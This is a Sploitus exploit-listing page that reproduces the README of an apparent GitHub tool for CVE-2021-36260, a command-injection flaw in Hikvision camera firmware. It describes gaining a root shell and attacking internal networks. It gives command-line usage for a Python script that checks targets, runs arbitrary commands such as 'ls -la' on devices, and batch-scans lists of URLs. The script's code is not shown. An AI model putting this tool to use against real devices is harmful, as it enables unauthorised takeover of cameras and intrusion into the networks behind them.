Sploitus

Exploit for OS Command Injection in Hikvision Ds-2Cd2026G2-Iu/Sl Firmware

githubexploit Β· 2022-08-03

Exploit Code

README21 lines
## https://sploitus.com/exploit?id=418BE453-0A45-5824-8B13-1994DF7349FF
# Hikvision CVE-2021-36260 RCE Vulnerability

## Vulnerability Description

An attacker can exploit this vulnerability to gain unlimited control over the device using a root shell. Even if the device owner is restricted by a limited protected shell (psh), it is still possible to access and attack the internal network. ## Usage

```
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd "ls -la"
python ./CVE-2021-36260.py -f target.txt

Optional arguments:
  -h, --help            Show this help message and exit
  -u URL, --url URL      Start scanning the specified URL
  -f FILE, --file FILE  Read the URL from the specified file
  --check              Check whether it is vulnerable
  --cmd CMD            Execute the specified command (e.g.: "ls -l")
```

Can be used for batch scanning of src files